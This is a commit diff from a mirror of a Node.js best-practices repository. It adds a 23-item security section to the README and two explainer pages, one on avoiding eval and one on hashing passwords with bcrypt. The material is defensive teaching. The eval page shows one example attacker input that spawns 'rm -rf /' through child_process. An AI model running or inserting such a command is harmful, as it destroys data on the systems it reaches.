mirror of
https://github.com/goldbergyoni/nodebestpractices.git
synced 2025-10-28 03:25:55 +08:00
Merged the security section
This commit is contained in:
292
README.md
292
README.md
@ -9,7 +9,7 @@
|
|||||||
<br/>
|
<br/>
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
<img src="https://img.shields.io/badge/⚙%20Item%20count%20-%2054%20Best%20practices-blue.svg" alt="54 items"> <img src="https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20July%2015%202018-green.svg" alt="Last update: July 15th, 2018"> <img src="https://img.shields.io/badge/%E2%9C%94%20Updated%20For%20Version%20-%20Node%208.11.3%20LTS-brightgreen.svg" alt="Updated for Node 8.11.3 LTS">
|
<img src="https://img.shields.io/badge/⚙%20Item%20count%20-%2054%20Best%20practices-blue.svg" alt="73 items"> <img src="https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20July%2015%202018-green.svg" alt="Last update: July 25th, 2018"> <img src="https://img.shields.io/badge/%E2%9C%94%20Updated%20For%20Version%20-%20Node%208.11.3%20LTS-brightgreen.svg" alt="Updated for Node 8.11.3 LTS">
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<br/>
|
<br/>
|
||||||
@ -39,7 +39,7 @@ Read in a different language: [**CN**](/README.chines
|
|||||||
3. [Code Style Practices (12) ](#3-code-style-practices)
|
3. [Code Style Practices (12) ](#3-code-style-practices)
|
||||||
4. [Testing And Overall Quality Practices (8) ](#4-testing-and-overall-quality-practices)
|
4. [Testing And Overall Quality Practices (8) ](#4-testing-and-overall-quality-practices)
|
||||||
5. [Going To Production Practices (17) ](#5-going-to-production-practices)
|
5. [Going To Production Practices (17) ](#5-going-to-production-practices)
|
||||||
6. Security Practices ([coming soon](https://github.com/i0natan/nodebestpractices/milestones?direction=asc&sort=due_date&state=open))
|
6. [Security Practices (23)](#6-security-practices)
|
||||||
7. Performance Practices ([coming soon](https://github.com/i0natan/nodebestpractices/milestones?direction=asc&sort=due_date&state=open))
|
7. Performance Practices ([coming soon](https://github.com/i0natan/nodebestpractices/milestones?direction=asc&sort=due_date&state=open))
|
||||||
|
|
||||||
<br/><br/><br/>
|
<br/><br/><br/>
|
||||||
@ -638,11 +638,295 @@ All statements above will return false if used with `===`
|
|||||||
|
|
||||||
<p align="right"><a href="#table-of-contents">⬆ Return to top</a></p>
|
<p align="right"><a href="#table-of-contents">⬆ Return to top</a></p>
|
||||||
|
|
||||||
# `Security Practices`
|
# `6. Security Practices`
|
||||||
|
<div align="center">
|
||||||
|
<img src="https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg" alt="53 items"/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
## ![✔] 6.1. Embrace linter security rules
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** Make use of security linter plugins such as [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) to catch security issues the earliest possible - while their being coded. This can help catching security weaknesses like using eval, invoking a child process or importing a module with a string literal (e.g. user input). Click 'Read more' below to see code examples that will get caught by a security linter
|
||||||
|
|
||||||
|
**Otherwise:** What could have been a straightforward security weakness during development becomes a major issue in production. Also, the project may not follow consistent code security practices, leading to vulnerabilities being introduced, or sensitive secrets committed into remote repositories
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Lint rules**](sections/security/lintrules.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.2. Limit concurrent requests using a balancer or a middleware
|
||||||
|
<a href="https://www.owasp.org/index.php/Denial_of_Service" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** DOS attacks are very popular and relativelly easy to conduct. Implement rate limiting using an external service such as cloud load balancers, cloud firewalls, NGINX, or for small and less critical apps you may also consider a rate limiting middleware (e.g. [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))
|
||||||
|
|
||||||
|
**Otherwise:** An application could be subject to an attack resulting in a denial of service where real users receive degraded service, or an unavailable application
|
||||||
|
|
||||||
|
🔗 [**Read More: Implement rate limiting**](sections/security/limitrequests.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.3 Extract secrets from config files or use NPM package that encrypts them
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
|
||||||
|
**TL;DR:** Never store plain-text secrets in configuration files or source code. Instead, make use of secrets management systems like Vault products, Kubernetes/Docker Secrets, or using environment variables. As a last result, storing secrets in source control must be encrypted, and managed (rolling keys, expiring, auditing, etc). Make use of pre-commit/push hooks to check for accidental commit of secrets
|
||||||
|
|
||||||
|
**Otherwise:** Source control for even private repositories, can mistakenly be made public, at which point all secret has been exposed outside. Access to source control for an external party will inadvertently provide access to related systems (database, apis, etc).
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Secret management**](sections/security/secretmanagement.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.4. Prevent query injection vulnerabilities with ORM/ODM libraries
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** To prevent SQL/noSQL injection and other malicious attacks, _always_ make use of an ORM/ODM or a database library that escapes data or supports named or indexed parameterized queries, and takes care of validating user input for expected types. **Never** just use JavaScript template strings or string concatenation to inject values into queries as this opens your application to a wide spectrum of vulnerabilities. All the reputable Node's data access libraries (e.g. [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [Mongoose](https://github.com/Automattic/mongoose)) have a built-in protection for injection
|
||||||
|
|
||||||
|
**Otherwise:** Unvalidated or unsanitized user input could lead to operator injection when working with MongoDB for NoSQL, and not using a proper sanitization system or ORM will easily allow SQL injection attacks, creating a giant vulnerability.
|
||||||
|
|
||||||
|
🔗 [**Read More: Query injection prevention using ORM/ODM libraries**](/sections/security/ormodmusage.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.5. Collection of common generic security best practices (15 items)
|
||||||
|
|
||||||
|
**TL;DR:** These is a collection of security advice that are not related direcrtly to Nodejs - the implenentation is Node is no difference than in any other language. Click read more to skim through.
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Common security best practices**](/sections/security/commonsecuritybestpractices.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.6. Adjust the response HTTP headers for enhanced security
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** Your application should be using secure headers to prevent attackers from using common attacks like cross-site scripting (XSS), clickjacking and other malicious attacks. These can be configured easily using modules like [helmet](https://www.npmjs.com/package/helmet).
|
||||||
|
|
||||||
|
**Otherwise:** Attackers could perform attacks on your application's users, leading to insecurity
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Using secure headers in your application**](/sections/security/secureheaders.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.7. Constantly and automatically inspect for vulnerable dependencies
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** With the npm ecosystem it is common to have many dependencies for a project. Dependencies should always be kept in check as new vulnerabilities are found. Use tools like [npm audit](https://docs.npmjs.com/cli/audit), [nsp](https://nodesecurity.io/) or [snyk](https://snyk.io/) to track, monitor and patch vulnerable dependencies. Integrate these tools with your CI setup so you catch a vulnerable dependency before it makes it to production.
|
||||||
|
|
||||||
|
**Otherwise:** An attacker could detect your web framework and attack with all it's known vulnerabilities.
|
||||||
|
|
||||||
|
🔗 [**Read More: Dependency security**](/sections/security/dependencysecurity.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.8. Avoid using the Node.js Crypto library for passwords, use Bcrypt
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
|
||||||
|
**TL;DR:** Passwords or secrets (API keys) should be stored using a secure hash function like `bcrypt`, that should be a preferred choice over its JavaScript implementation due to performance and security reasons.
|
||||||
|
|
||||||
|
**Otherwise:** Passwords or secrets that are persisted without using a secure hash function are vulnerable to brute forcing and dictionary attacks that will lead to their disclosure eventually.
|
||||||
|
|
||||||
|
🔗 [**Read More: Use Bcrypt**](/sections/security/bcryptpasswords.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.9. Escape HTML, JS and CSS output
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** Untrusted data that is sent down to the browser might get executed instead of just being displayed, this is commonly being referred as XSS attack. Mitigate this by using dedicated libraries that explicitly mark the data as pure content that should never get executed (i.e. encoding, escaping)
|
||||||
|
|
||||||
|
**Otherwise:** An attacker might store a malicious JS code in your DB which will then be sent as-is to the poor client
|
||||||
|
|
||||||
|
🔗 [**Read More: Escape output**](/sections/security/escape-output.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.10. Validate the incoming JSON schemas
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** Validate the incoming requests' body payload and ensure it qualifies the expectations, fail fast if it doesn't. To avoid tedious validation coding within each route you may use lightweight JSON-based validation schemas such as [jsonschema](https://www.npmjs.com/package/jsonschema) or [JOI](https://www.npmjs.com/package/joi)
|
||||||
|
|
||||||
|
**Otherwise:** Your generosity and permissive approach greatly increases the attack surface and encourage the attacker to try out many inputs until it finds some combination that crashes the application
|
||||||
|
|
||||||
|
🔗 [**Read More: Validate the incoming JSON schemas**](/sections/security/validation.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.11. Support blacklisting JWT tokens
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** When using JWT tokens (for example, with [Passport.js](https://github.com/jaredhanson/passport)), by default there's no mechanism to prevent access from issued tokens. Once you discover some malicious user, there's no way to stop him from accessing the system as long as he holds a valid token. Mitigate this by implementing a blacklist of untrusted tokens that are validated on each request.
|
||||||
|
|
||||||
|
**Otherwise:** Expired, or misplaced tokens could be used maliciously by a third party to access an application impersonating the owner of the token.
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Blacklist JWT Tokens**](/sections/security/revokejwt.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.12. Limit the allowed login requests of each user
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** A brute force protection middleware such as [express-brute](https://www.npmjs.com/package/express-brute) should be used inside an express application to prevent brute force/dictionary attacks on sensitive routes such as `/admin` or `/login` based on request properties such as the user name, or other identifiers such as body parameters
|
||||||
|
|
||||||
|
**Otherwise:** An attacker can issue unlimited automated password attempts to gain access to privileged accounts on an application
|
||||||
|
|
||||||
|
🔗 [**Read More: Login rate limiting**](/sections/security/login-rate-limit.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.13. Run Node.js as non-root user
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** There are common scenario where nodejs runs as a root user with unlimited permissions. For example this is the default behaviour in Docker containers. It's recommended to create a non-root user and either bake it into the Docker image (examples indside) or run the process on this user behalf by invoking the container with the flag "-u username"
|
||||||
|
|
||||||
|
**Otherwise:** An attacker who manages to run a script on the server gets unlimited power over the local machine (e.g. change iptable and re-route traffic to his server)
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Run Node.js as non-root user**](/sections/security/non-root-user.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.14. Limit payload size using a reverse-proxy or a middleware
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** The bigger the body payload is, the harder your single thread works in processing it. This is an opprtunity for attackers to bring servers to their knees without tremendous amount of requests (DOS/DDOS attacks). Mitigate this limiting the body size of incoming requests on the edge side (e.g. firewall, ELB) or by configuring [express body parser](https://github.com/expressjs/body-parser) to accept only small-size payloads
|
||||||
|
|
||||||
|
**Otherwise:** your application will have to deal with large requests, unable to process the other important work it has to accomplish, leading to performance
|
||||||
|
implications and vulnerability towards DOS attacks
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Limit payload size**](/sections/security/requestpayloadsizelimit.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.15. Avoid JavaScript eval statements
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
|
||||||
|
**TL;DR:** `eval` is evil as it allows executing a custom javascript code during run time. This is not just a performance concern but also an important security concern due to malicious javascript code that may be sourced from user input. Another language feature that should be avoided is `new Function` constructor. `setTimeout` and `setInterval` should never be passed dynamic javascript code either.
|
||||||
|
|
||||||
|
**Otherwise:** Malicious javascript code finds a way into a text passed into `eval` or other real-time evaluating javascript language functions, it will gain complete access to javascript permissions on the page, often manifesting as an XSS attack.
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Avoid JavaScript eval statements**](/sections/security/avoideval.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.16. Prevent evil regex from overloading your single thread execution
|
||||||
|
<a href="https://www.owasp.org/index.php/Denial_of_Service" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** Regular Expressions, while being handy, pose a real threat to JavaScript applications at large, and the Node.js platform in particular - a provided user input for text to match might require an outstanding amount of CPU cycles to process. Regex processing might be inefficient to an extent that a single request that validates 10 words can block the entire event loop for 6 seconds and set the CPU on 99% fire (!). For that reason, prefer 3rd validation packages like [validator.js](https://github.com/chriso/validator.js) instead of writing your own Regex patterns, or make use of [safe-regex](https://github.com/substack/safe-regex) to detect vulnerable regex patterns
|
||||||
|
|
||||||
|
**Otherwise:** Poorly written regexes could be susceptible to Regular Expressions DoS attacks that will block the event loop completely. For example, the popular `moment` package was found vulnerable with evil Regex in Nov 2017
|
||||||
|
|
||||||
|
🔗 [**Read More: Prevent malicious regex**](/sections/security/regex.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.17. Avoid module loading require(someVariable) using a variable
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
|
||||||
|
**TL;DR:** Avoid requiring/importing another file with a path that was given as parameter due to the concern that it could have originated from user input. This rule can be extended for accessing files in general (i.e. `fs.readFile()`) or other sensitive resource access with dynamic variables originating from user input. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linter can catch such patterns and warn early enough
|
||||||
|
|
||||||
|
**Otherwise:** Malicious user input could find its way to a parameter that is used to require tampered files, for example a previously uploaded file on the filesystem, or access already existing system files.
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Safe module loading**](/sections/security/safemoduleloading.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.18. Run unsafe code in a sandbox
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** When tasked to run external code that is given at run time (e.g. plugin), use any sort of 'sandbox' execution environment that isolates and guards the main code against the plugin. This can be achieved using a dedicated process (e.g. cluster.fork()), serverless environment or dedicated NPM packages that acts as a sandbox
|
||||||
|
|
||||||
|
|
||||||
|
**Otherwise:** A plugin can attack through an endless variety of options like infinite loops, memory overloading, and access to sensitive process environment variables
|
||||||
|
|
||||||
|
|
||||||
|
🔗 [**Read More: Run unsafe code in a sandbox**](/sections/security/sandbox.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.19. Take extra care when working with child processes
|
||||||
|
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** Avoid using child processes when possible and validate and sanitize input to mitigate shell injection attacks if you still have to. Prefer using `child_process.execFile` which by definition will only execute a single command with a set of attributes and will not allow shell parameter expansion.
|
||||||
|
|
||||||
|
**Otherwise:** Naive use of child processes could result in remote command execution or shell injection attacks due to malicious user input passed to an unsanitized system command.
|
||||||
|
|
||||||
|
🔗 [**Read More: Be cautious when working with child processes**](/sections/security/childprocesses.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
## ![✔] 6.20. Hide error details from the client
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** Express default error handler hides the error details by default. However, great are the chances that you implement your own error handling logic with custom Error object (considered by many as a best practice). If you do, ensure not to return to the client the entire Error object which contains also some intimate details about the application
|
||||||
|
|
||||||
|
**Otherwise:** Sensitive application details such as server filepaths, third party modules in use, and other internal workings of the application which could be exploited by an attacker from information found in a stack trace
|
||||||
|
|
||||||
|
🔗 [**Read More: Hide error details from client**](/sections/security/hideerrors.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.21. Configure 2FA for NPM or Yarn
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
|
||||||
|
**TL;DR:** Though any step in the development chain should be protected with MFA (multi-factor authentication), NPM/Yarn are a sweet opportunity for attackers who can get their hands on some developer's password. Using a developer credentials, attackers can inject malicious code into libraries that are widely installed across projects and Microservices. Maybe even across the web if published in public. Enabling 2 factor authentication in npm leaves almost zero chances for attackers to alter the packages code
|
||||||
|
|
||||||
|
**Otherwise:** [Have you heard about the eslint developer who's password was hijacked?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)
|
||||||
|
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.22. Modify session middleware settings
|
||||||
|
<a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
|
||||||
|
**TL;DR:** Each webframework and technology has it own known weaknesses - telling to an attacker which web framework we use is a great help. Using the default settings for session middleware can be expose your app to module and framework specific hijacking attacks in a similar way to the `X-Powered-By` header. Try modifing anything that differentiates and reveals your tech stack (E.g. Node, Express)
|
||||||
|
|
||||||
|
**Otherwise:** Cookies could be sent over insecure connections, and an attacker can use session identification to identify the underlying framework of the web application, as well as module-specific vulnerabilities
|
||||||
|
|
||||||
|
🔗 [**Read More: Cookie and session security**](/sections/security/sessions.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] 6.23. Avoid DOS attacks by explicitly setting when a process should crash
|
||||||
|
<a href="https://www.owasp.org/index.php/Denial_of_Service" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg" alt=""/></a>
|
||||||
|
|
||||||
|
**TL;DR:** The Node process will crash when errors are not handled. Many best practices even recommend to exit eventhough an error was caught and got handled. Express, for example, will crash on any asynchronous error - unless you wrap routes with a catch clause. This open a very sweet attack spot for attacker who can just recognize what input make the process crash and issue the same request every 1 second. There's no instant remedy for this but few techniques can mitigate the pain: Alert with critical severity anytime a process crash due to unhandled error, validate the input and avoid crashing the process due to invalid input, wrap all routes with a catch and consider not to crash when an error originated within a request (as opposed that happens globally on the application start or outside an http request context)
|
||||||
|
|
||||||
|
**Otherwise:** This is just an educated guess: given many Nodejs applications, if we try passing an empty json to all POST http requests - a handful of applications will crash. At that point, we can just repeat sending the same request to take the application down easily
|
||||||
|
|
||||||
|
<br/><br/><br/>
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right"><a href="#table-of-contents">⬆ Return to top</a></p>
|
||||||
|
|
||||||
|
# `API Practices`
|
||||||
|
|
||||||
## Our contributors are working on this section. Would you like to join?
|
## Our contributors are working on this section. Would you like to join?
|
||||||
|
|
||||||
<br/><br/><br/>
|
|
||||||
|
|
||||||
# `Performance Practices`
|
# `Performance Practices`
|
||||||
|
|
||||||
|
|||||||
19
sections/security/avoideval.md
Normal file
19
sections/security/avoideval.md
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
# Avoid JS eval statements
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
`eval()`, `setTimeout()` and `setInterval()` are global functions often used in Node.js which accept a string parameter representing a JavaScript expression, statement, or sequence of statements. The security concern of using these functions are the possibility that untrusted user input that might find it's way into code execution which can lead to server compromise, as evaluating user inputted code essentially allows an attacker to perform any actions that you can. It is suggested to refactor code to not rely on the use of these functions where user input could be passed to the function and executed.
|
||||||
|
|
||||||
|
### Code example
|
||||||
|
```javascript
|
||||||
|
// example of malicious code which an attacker was able to input
|
||||||
|
userInput = "require('child_process').spawn('rm', ['-rf', '/'])";
|
||||||
|
// malicious code executed
|
||||||
|
eval(userInput);
|
||||||
|
```
|
||||||
|
|
||||||
|
### What other bloggers say
|
||||||
|
From the Essential Node.js Security book by [Liran Tal](https://leanpub.com/nodejssecurity):
|
||||||
|
> The eval() function is perhaps of the most frowned upon JavaScript pieces from a security
|
||||||
|
perspective. It parses a JavaScript string as text, and executes it as if it were a JavaScript code.
|
||||||
|
Mixing that with untrusted user input that might find it’s way to eval() is a recipe for disaster that
|
||||||
|
can end up with server compromise.
|
||||||
28
sections/security/bcryptpasswords.md
Normal file
28
sections/security/bcryptpasswords.md
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
# Avoid using the Node.js Crypto library for passwords, use Bcrypt
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
When storing user passwords, using an adaptive hashing algorithm such as bcrypt, offered by the [bcrypt npm module](https://www.npmjs.com/package/bcrypt) is recommended as opposed to using the native Node.js Crypto module. `Math.random()` should also never be used for as part of any password or token generation due to it's predictability.
|
||||||
|
|
||||||
|
The `bcrypt` module or similar should be used as opposed to the JavaScript implementation, as when using `bcrypt`, a number of 'rounds' can be specified in order to provide a secure hash. This sets the work factor or the number of 'rounds' the data is processed for, and more hashing rounds leads to more secure hash (although this at the cost of CPU time). The introduction of hashing rounds means that the brute force factor is significantly reduced, as password crackers are slowed down increasing the time required to generate one attempt.
|
||||||
|
|
||||||
|
### Code example
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
// asynchronously generate a secure password using 10 hashing rounds
|
||||||
|
bcrypt.hash('myPassword', 10, function(err, hash) {
|
||||||
|
// Store secure hash in user record
|
||||||
|
});
|
||||||
|
|
||||||
|
// compare a provided password input with saved hash
|
||||||
|
bcrypt.compare('somePassword', hash, function(err, match) {
|
||||||
|
if(match) {
|
||||||
|
// Passwords match
|
||||||
|
} else {
|
||||||
|
// Passwords don't match
|
||||||
|
}
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### What other bloggers say
|
||||||
|
From the blog by [Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt):
|
||||||
|
